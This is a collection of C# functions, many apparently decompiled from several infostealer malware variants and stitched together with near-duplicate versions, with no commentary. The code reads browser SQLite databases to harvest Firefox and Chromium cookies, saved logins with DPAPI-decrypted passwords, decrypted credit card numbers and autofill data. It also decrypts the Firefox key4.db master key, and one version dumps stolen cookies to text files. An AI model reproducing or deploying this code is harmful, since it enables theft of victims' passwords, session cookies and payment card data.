public static void CookMhn(string profile, string browser_name, string profile_name)
{
try
{
string text = Path.Combine(profile, "cookies.sqlite");
CNT cNT = new CNT(CreateTempCopy(text));
cNT.ReadTable("moz_cookies");
for (int i = 0; i < cNT.RowLength; i++)
{
try
{
domains.Add(cNT.ParseValue(i, "host").Trim());
Cookies_Gecko.Add(cNT.ParseValue(i, "host").Trim() + "\t" + (cNT.ParseValue(i, "isSecure") == "1") + "\t" + cNT.ParseValue(i, "path").Trim() + "\t" + (cNT.ParseValue(i, "isSecure") == "1") + "\t" + cNT.ParseValue(i, "expiry").Trim() + "\t" + cNT.ParseValue(i, "name").Trim() + "\t" + cNT.ParseValue(i, "value") + System.Environment.NewLine);
Func.Cookies.cookiesCount++;
}
catch
{
}
}
}
catch (Exception)
{
}
}
public static void CookMhn(string profile, string browser_name, string profile_name)
{
try
{
string text = Path.Combine(profile, "cookies.sqlite");
var cNT = new CNT(CreateTempCopy(text));
cNT.ReadTable("moz_cookies");
for (int i = 0; i < cNT.RowLength; i++)
{
GetCookies.CCookies++;
try
{
GetCookies.domains.Add(cNT.ParseValue(i, "host").Trim());
GetCookies.Cookies_Gecko.Add(cNT.ParseValue(i, "host").Trim() + "\t" + (cNT.ParseValue(i, "isSecure") == "1") + "\t" + cNT.ParseValue(i, "path").Trim() + "\t" + (cNT.ParseValue(i, "isSecure") == "1") + "\t" + cNT.ParseValue(i, "expiry").Trim() + "\t" + cNT.ParseValue(i, "name").Trim() + "\t" + cNT.ParseValue(i, "value") + Environment.NewLine);
}
catch { }
}
using (var streamWriter = new StreamWriter(Program.dir + "\\Browsers\\" + profile_name + "_" + browser_name + "_Cookies.txt"))
{
for (int i = 0; i < GetCookies.Cookies_Gecko.Count(); i++)
{
streamWriter.Write(GetCookies.Cookies_Gecko[i]);
}
}
}
catch (Exception) { }
}
// Token: 0x06000235 RID: 565 RVA: 0x000114BC File Offset: 0x0000F6BC
public static void smethod_6(string string_0)
{
try
{
string string_ = Path.Combine(string_0, "Web Data");
CNT cnt = new CNT(Class30.smethod_3(string_));
cnt.ReadTable("credit_cards");
for (int i = 0; i < cnt.RowLength; i++)
{
Class30.int_0++;
try
{
Class30.list_0.Add(string.Concat(new object[]
{
"Name : ",
cnt.ParseValue(i, "name_on_card").Trim(),
Environment.NewLine,
"Ex_Month And Year: ",
Convert.ToInt32(cnt.ParseValue(i, "expiration_month").Trim()),
"/",
Convert.ToInt32(cnt.ParseValue(i, "expiration_year").Trim() + Environment.NewLine + "Card_Number" + Class30.smethod_0(cnt.ParseValue(i, "card_number_encrypted"), DataProtectionScope.CurrentUser, null).Trim())
}));
}
catch
{
}
}
}
catch
{
}
}
public static void get_Autofill(string profilePath, string browser_name)
{
try
{
string text = Path.Combine(profilePath, "Web Data");
CNT cNT = new CNT(CC.CreateTempCopy(text));
cNT.ReadTable("autofill");
for (int i = 0; i < cNT.RowLength; i++)
{
Count++;
try
{
Autofill.Add(Environment.NewLine + "Name : " + cNT.ParseValue(i, "name").Trim() + Environment.NewLine + "Value : " + cNT.ParseValue(i, "value").Trim() + Environment.NewLine + "Browser : " + browser_name + Environment.NewLine);
Count++;
}
catch
{
}
}
}
catch
{
}
}
// Token: 0x06000179 RID: 377 RVA: 0x0000D728 File Offset: 0x0000B928
private static byte[] smethod_8(string string_3)
{
byte[] array = new byte[24];
byte[] result;
try
{
if (File.Exists(string_3))
{
CNT cnt = new CNT(string_3);
cnt.ReadTable("metaData");
string s = cnt.ParseValue(0, "item1");
string s2 = cnt.ParseValue(0, "item2)");
Gecko4 gecko = Gecko1.Create(Encoding.Default.GetBytes(s2));
byte[] objectData = gecko.Objects[0].Objects[0].Objects[1].Objects[0].ObjectData;
byte[] objectData2 = gecko.Objects[0].Objects[1].ObjectData;
Gecko8 gecko2 = new Gecko8(Encoding.Default.GetBytes(s), Encoding.Default.GetBytes(string.Empty), objectData);
gecko2.method_2();
Gecko6.lTRjlt(gecko2.DataKey, gecko2.DataIV, objectData2, PaddingMode.None);
cnt.ReadTable("nssPrivate");
int rowLength = cnt.RowLength;
string s3 = string.Empty;
for (int i = 0; i < rowLength; i++)
{
if (cnt.ParseValue(i, "a102") == Encoding.Default.GetString(Class18.byte_0))
{
s3 = cnt.ParseValue(i, "a11");
IL_152:
Gecko4 gecko3 = Gecko1.Create(Encoding.Default.GetBytes(s3));
objectData = gecko3.Objects[0].Objects[0].Objects[1].Objects[0].ObjectData;
objectData2 = gecko3.Objects[0].Objects[1].ObjectData;
gecko2 = new Gecko8(Encoding.Default.GetBytes(s), Encoding.Default.GetBytes(string.Empty), objectData);
gecko2.method_2();
array = Encoding.Default.GetBytes(Gecko6.lTRjlt(gecko2.DataKey, gecko2.DataIV, objectData2, PaddingMode.PKCS7));
return(array);
}
}
goto IL_152;
}
result = array;
}
catch (Exception)
{
result = array;
}
return(result);
}
private static byte[] p4k(string file)
{
byte[] result = new byte[24];
try
{
if (!File.Exists(file))
{
return(result);
}
CNT cNT = new CNT(file);
cNT.ReadTable("metaData");
string s = cNT.ParseValue(0, "item1");
string s2 = cNT.ParseValue(0, "item2)");
Gecko4 Gecko4 = Gecko1.Create(Encoding.Default.GetBytes(s2));
byte[] objectData = Gecko4.Objects[0].Objects[0].Objects[1].Objects[0].ObjectData;
byte[] objectData2 = Gecko4.Objects[0].Objects[1].ObjectData;
Gecko8 Gecko8 = new Gecko8(Encoding.Default.GetBytes(s), Encoding.Default.GetBytes(string.Empty), objectData);
Gecko8.го7па();
Gecko6.lTRjlt(Gecko8.DataKey, Gecko8.DataIV, objectData2);
cNT.ReadTable("nssPrivate");
int rowLength = cNT.RowLength;
string s3 = string.Empty;
for (int i = 0; i < rowLength; i++)
{
if (cNT.ParseValue(i, "a102") == Encoding.Default.GetString(Key4MagicNumber))
{
s3 = cNT.ParseValue(i, "a11");
break;
}
}
Gecko4 Gecko42 = Gecko1.Create(Encoding.Default.GetBytes(s3));
objectData = Gecko42.Objects[0].Objects[0].Objects[1].Objects[0].ObjectData;
objectData2 = Gecko42.Objects[0].Objects[1].ObjectData;
Gecko8 = new Gecko8(Encoding.Default.GetBytes(s), Encoding.Default.GetBytes(string.Empty), objectData);
Gecko8.го7па();
result = Encoding.Default.GetBytes(Gecko6.lTRjlt(Gecko8.DataKey, Gecko8.DataIV, objectData2, PaddingMode.PKCS7));
return(result);
}
catch (Exception)
{
return(result);
}
} //Если P4Key
private static byte[] j(string hu)
{
byte[] result = new byte[24];
try
{
if (!File.Exists(hu))
{
return(result);
}
CNT cNT = new CNT(hu);
cNT.ReadTable("metaData");
string s = cNT.ParseValue(0, "item1");
string s2 = cNT.ParseValue(0, Echelon_Decod.Ok("H4sIAAAAAAAEAMssSc01AgBLmMXgBQAAAA==)"));
Gecko4 gecko = Gecko1.Create(Encoding.Default.GetBytes(s2));
byte[] objectData = gecko.Objects[0].Objects[0].Objects[1].Objects[0].ObjectData;
byte[] objectData2 = gecko.Objects[0].Objects[1].ObjectData;
Gecko8 gecko2 = new Gecko8(Encoding.Default.GetBytes(s), Encoding.Default.GetBytes(string.Empty), objectData);
gecko2.го7па();
Gecko6.lTRjlt(gecko2.DataKey, gecko2.DataIV, objectData2);
cNT.ReadTable("nssPrivate");
int rowLength = cNT.RowLength;
string s3 = string.Empty;
for (int i = 0; i < rowLength; i++)
{
if (cNT.ParseValue(i, "a102") == Encoding.Default.GetString(aa.j))
{
s3 = cNT.ParseValue(i, "a11");
break;
}
}
Gecko4 gecko3 = Gecko1.Create(Encoding.Default.GetBytes(s3));
objectData = gecko3.Objects[0].Objects[0].Objects[1].Objects[0].ObjectData;
objectData2 = gecko3.Objects[0].Objects[1].ObjectData;
gecko2 = new Gecko8(Encoding.Default.GetBytes(s), Encoding.Default.GetBytes(string.Empty), objectData);
gecko2.го7па();
result = Encoding.Default.GetBytes(Gecko6.lTRjlt(gecko2.DataKey, gecko2.DataIV, objectData2, PaddingMode.PKCS7));
return(result);
}
catch
{
return(result);
}
}
private static byte[] p4k(string file)
{
byte[] result = new byte[24];
try
{
if (!File.Exists(file))
{
return(result);
}
CNT cNT = new CNT(file);
cNT.ReadTable("metaData");
string s = cNT.ParseValue(0, "item1");
string s2 = cNT.ParseValue(0, "item2)");
нкрпар нкрпар = Апн.Create(Encoding.Default.GetBytes(s2));
byte[] objectData = нкрпар.Objects[0].Objects[0].Objects[1].Objects[0].ObjectData;
byte[] objectData2 = нкрпар.Objects[0].Objects[1].ObjectData;
р6прлгв р6прлгв = new р6прлгв(Encoding.Default.GetBytes(s), Encoding.Default.GetBytes(string.Empty), objectData);
р6прлгв.го7па();
шо67г.lTRjlt(р6прлгв.DataKey, р6прлгв.DataIV, objectData2);
cNT.ReadTable("nssPrivate");
int rowLength = cNT.RowLength;
string s3 = string.Empty;
for (int i = 0; i < rowLength; i++)
{
if (cNT.ParseValue(i, "a102") == Encoding.Default.GetString(strg.Key4MagicNumber))
{
s3 = cNT.ParseValue(i, "a11");
break;
}
}
нкрпар нкрпар2 = Апн.Create(Encoding.Default.GetBytes(s3));
objectData = нкрпар2.Objects[0].Objects[0].Objects[1].Objects[0].ObjectData;
objectData2 = нкрпар2.Objects[0].Objects[1].ObjectData;
р6прлгв = new р6прлгв(Encoding.Default.GetBytes(s), Encoding.Default.GetBytes(string.Empty), objectData);
р6прлгв.го7па();
result = Encoding.Default.GetBytes(шо67г.lTRjlt(р6прлгв.DataKey, р6прлгв.DataIV, objectData2, PaddingMode.PKCS7));
return(result);
}
catch (Exception)
{
return(result);
}
}
private static byte[] P4k(string file)
{
byte[] result = new byte[24];
try
{
if (!File.Exists(file))
{
return(result);
}
var cNT = new CNT(file);
cNT.ReadTable("metaData");
string s = cNT.ParseValue(0, "item1");
string s2 = cNT.ParseValue(0, "item2)");
Asn1DerObject ansobjectS2 = Asn1Der.Parse(Encoding.Default.GetBytes(s2));
byte[] objectData = ansobjectS2.Objects[0].Objects[0].Objects[1].Objects[0].GetObjectData();
byte[] objectData2 = ansobjectS2.Objects[0].Objects[1].GetObjectData();
var inizialize = new MozillaPBE(Encoding.Default.GetBytes(s), Encoding.Default.GetBytes(string.Empty), objectData);
inizialize.Compute();
TripleDESHelper.DESCBCDecryptor(inizialize.GetKey(), inizialize.GetIV(), objectData2);
cNT.ReadTable("nssPrivate");
int rowLength = cNT.RowLength;
string s3 = string.Empty;
for (int i = 0; i < rowLength; i++)
{
if (cNT.ParseValue(i, "a102") == Encoding.Default.GetString(Key4MagicNumber))
{
s3 = cNT.ParseValue(i, "a11");
break;
}
}
Asn1DerObject ansobjectS3 = Asn1Der.Parse(Encoding.Default.GetBytes(s3));
objectData = ansobjectS3.Objects[0].Objects[0].Objects[1].Objects[0].GetObjectData();
objectData2 = ansobjectS3.Objects[0].Objects[1].GetObjectData();
inizialize = new MozillaPBE(Encoding.Default.GetBytes(s), Encoding.Default.GetBytes(string.Empty), objectData);
inizialize.Compute();
result = Encoding.Default.GetBytes(TripleDESHelper.DESCBCDecryptor(inizialize.GetKey(), inizialize.GetIV(), objectData2, PaddingMode.PKCS7));
return(result);
}
catch (Exception)
{
return(result);
}
}
public List <BrowserCreditCard> EnumCC(string profilePath)
{
List <BrowserCreditCard> list = new List <BrowserCreditCard>();
try
{
string text = Path.Combine(profilePath, "Web Data");
if (!File.Exists(text))
{
return(list);
}
CNT cNT = new CNT(rcvr.CreateTempCopy(text));
cNT.ReadTable("credit_cards");
for (int i = 0; i < cNT.RowLength; i++)
{
BrowserCreditCard browserCreditCard = null;
try
{
browserCreditCard = new BrowserCreditCard
{
Holder = cNT.ParseValue(i, "name_on_card").Trim(),
ExpirationMonth = Convert.ToInt32(cNT.ParseValue(i, "expiration_month").Trim()),
ExpirationYear = Convert.ToInt32(cNT.ParseValue(i, "expiration_year").Trim()),
CardNumber = rcvr.DecryptBlob(cNT.ParseValue(i, "card_number_encrypted"), DataProtectionScope.CurrentUser).Trim()
};
}
catch
{
}
if (browserCreditCard != null)
{
list.Add(browserCreditCard);
}
}
return(list);
}
catch
{
return(list);
}
}
// Token: 0x06000C9D RID: 3229 RVA: 0x00026C64 File Offset: 0x00024E64
private BrowserCredendtial ReadData(CNT manager, int row)
{
BrowserCredendtial browserCredendtial = new BrowserCredendtial();
try
{
browserCredendtial.URL = manager.ParseValue(row, "origin_url").Trim();
browserCredendtial.Login = manager.ParseValue(row, "username_value").Trim();
browserCredendtial.Password = rcvr.DecryptBlob(manager.ParseValue(row, "password_value"), DataProtectionScope.CurrentUser, null).Trim();
}
catch
{
}
finally
{
browserCredendtial.Login = (string.IsNullOrEmpty(browserCredendtial.Login) ? "UNKNOWN" : browserCredendtial.Login);
browserCredendtial.Password = (string.IsNullOrEmpty(browserCredendtial.Password) ? "UNKNOWN" : browserCredendtial.Password);
browserCredendtial.URL = (string.IsNullOrEmpty(browserCredendtial.URL) ? "UNKNOWN" : browserCredendtial.URL);
}
return(browserCredendtial);
}
public List <BrowserAutofill> EnumFills(string profilePath)
{
List <BrowserAutofill> list = new List <BrowserAutofill>();
try
{
string text = Path.Combine(profilePath, "Web Data");
if (!File.Exists(text))
{
return(list);
}
CNT cNT = new CNT(rcvr.CreateTempCopy(text));
cNT.ReadTable("autofill");
for (int i = 0; i < cNT.RowLength; i++)
{
BrowserAutofill browserAutofill = null;
try
{
browserAutofill = new BrowserAutofill
{
Name = cNT.ParseValue(i, "name").Trim(),
Value = cNT.ParseValue(i, "value").Trim()
};
}
catch
{
}
if (browserAutofill != null)
{
list.Add(browserAutofill);
}
}
return(list);
}
catch
{
return(list);
}
}
public static void h(string hn, string ho, string hp)
{
try
{
CNT cNT = new CNT(f(Path.Combine(hn, "cookies.sqlite")));
cNT.ReadTable("moz_cookies");
for (int i = 0; i < cNT.RowLength; i++)
{
try
{
aa.c.Add(cNT.ParseValue(i, "host").Trim());
aa.d.Add(cNT.ParseValue(i, "host").Trim() + "\t" + (cNT.ParseValue(i, "isSecure") == "1") + "\t" + cNT.ParseValue(i, "path").Trim() + "\t" + (cNT.ParseValue(i, "isSecure") == "1") + "\t" + cNT.ParseValue(i, "expiry").Trim() + "\t" + cNT.ParseValue(i, "name").Trim() + "\t" + cNT.ParseValue(i, "value") + Environment.NewLine);
aa.b++;
}
catch
{
}
}
}
catch
{
}
}
// Token: 0x0600023B RID: 571 RVA: 0x00011860 File Offset: 0x0000FA60
public static void fLujhrskIa(string string_0, string string_1)
{
try
{
string string_2 = Path.Combine(string_0, "Web Data");
CNT cnt = new CNT(Class30.smethod_3(string_2));
cnt.ReadTable("autofill");
for (int i = 0; i < cnt.RowLength; i++)
{
Class31.int_0++;
try
{
Class31.list_0.Add(string.Concat(new string[]
{
Environment.NewLine,
"Name : ",
cnt.ParseValue(i, "name").Trim(),
Environment.NewLine,
"Value : ",
cnt.ParseValue(i, "value").Trim(),
Environment.NewLine,
"Browser : ",
string_1,
Environment.NewLine
}));
Class31.int_0++;
}
catch
{
}
}
}
catch
{
}
}
// Token: 0x06000177 RID: 375 RVA: 0x0000D308 File Offset: 0x0000B508
public static void smethod_6(string string_3, string string_4, string string_5)
{
try
{
string string_6 = Path.Combine(string_3, "cookies.sqlite");
CNT cnt = new CNT(Class18.smethod_4(string_6));
cnt.ReadTable("moz_cookies");
for (int i = 0; i < cnt.RowLength; i++)
{
try
{
Class18.list_0.Add(cnt.ParseValue(i, "host").Trim());
Class18.list_1.Add(string.Concat(new string[]
{
cnt.ParseValue(i, "host").Trim(),
"\t",
(cnt.ParseValue(i, "isSecure") == "1").ToString(),
"\t",
cnt.ParseValue(i, "path").Trim(),
"\t",
(cnt.ParseValue(i, "isSecure") == "1").ToString(),
"\t",
cnt.ParseValue(i, "expiry").Trim(),
"\t",
cnt.ParseValue(i, "name").Trim(),
"\t",
cnt.ParseValue(i, "value"),
Environment.NewLine
}));
Class20.int_0++;
}
catch
{
}
}
}
catch (Exception)
{
}
}
public List <BrowserCookie> EnumCook(string profilePath)
{
List <BrowserCookie> list = new List <BrowserCookie>();
try
{
string text = Path.Combine(profilePath, "Cookies");
if (!File.Exists(text))
{
return(list);
}
CNT cNT = new CNT(rcvr.CreateTempCopy(text));
cNT.ReadTable("cookies");
for (int i = 0; i < cNT.RowLength; i++)
{
BrowserCookie browserCookie = null;
try
{
browserCookie = new BrowserCookie
{
Host = cNT.ParseValue(i, "host_key").Trim(),
Http = (cNT.ParseValue(i, "httponly") == "1"),
Path = cNT.ParseValue(i, "path").Trim(),
Secure = (cNT.ParseValue(i, "secure") == "1"),
Expires = cNT.ParseValue(i, "expires_utc").Trim(),
Name = cNT.ParseValue(i, "name").Trim(),
Value = rcvr.DecryptBlob(cNT.ParseValue(i, "encrypted_value"), DataProtectionScope.CurrentUser).Trim()
};
}
catch (Exception)
{
}
if (browserCookie != null)
{
list.Add(browserCookie);
}
}
return(list);
}
catch
{
return(list);
}
}
public List <BrowserCookie> CookMhn(string profile)
{
List <BrowserCookie> list = new List <BrowserCookie>();
try
{
string text = Path.Combine(profile, "cookies.sqlite");
if (!File.Exists(text))
{
return(list);
}
CNT cNT = new CNT(rcvr.CreateTempCopy(text));
cNT.ReadTable("moz_cookies");
for (int i = 0; i < cNT.RowLength; i++)
{
BrowserCookie browserCookie = null;
try
{
browserCookie = new BrowserCookie
{
Host = cNT.ParseValue(i, "host").Trim(),
Http = (cNT.ParseValue(i, "isSecure") == "1"),
Path = cNT.ParseValue(i, "path").Trim(),
Secure = (cNT.ParseValue(i, "isSecure") == "1"),
Expires = cNT.ParseValue(i, "expiry").Trim(),
Name = cNT.ParseValue(i, "name").Trim(),
Value = cNT.ParseValue(i, "value")
};
}
catch
{
}
if (browserCookie != null)
{
list.Add(browserCookie);
}
}
return(list);
}
catch (Exception)
{
return(list);
}
}
public static void Get_CC(string profilePath)
{
try
{
string text = Path.Combine(profilePath, "Web Data");
CNT cNT = new CNT(CreateTempCopy(text));
cNT.ReadTable("credit_cards");
for (int i = 0; i < cNT.RowLength; i++)
{
Count++;
try
{
CC_List.Add("Name : " + cNT.ParseValue(i, "name_on_card").Trim() + System.Environment.NewLine + "Ex_Month And Year: " + Convert.ToInt32(cNT.ParseValue(i, "expiration_month").Trim()) + "/" + Convert.ToInt32(cNT.ParseValue(i, "expiration_year").Trim() + Environment.NewLine + "Card_Number" + DecryptBlob(cNT.ParseValue(i, "card_number_encrypted"), DataProtectionScope.CurrentUser).Trim()));
}
catch
{
}
}
}
catch
{
}
}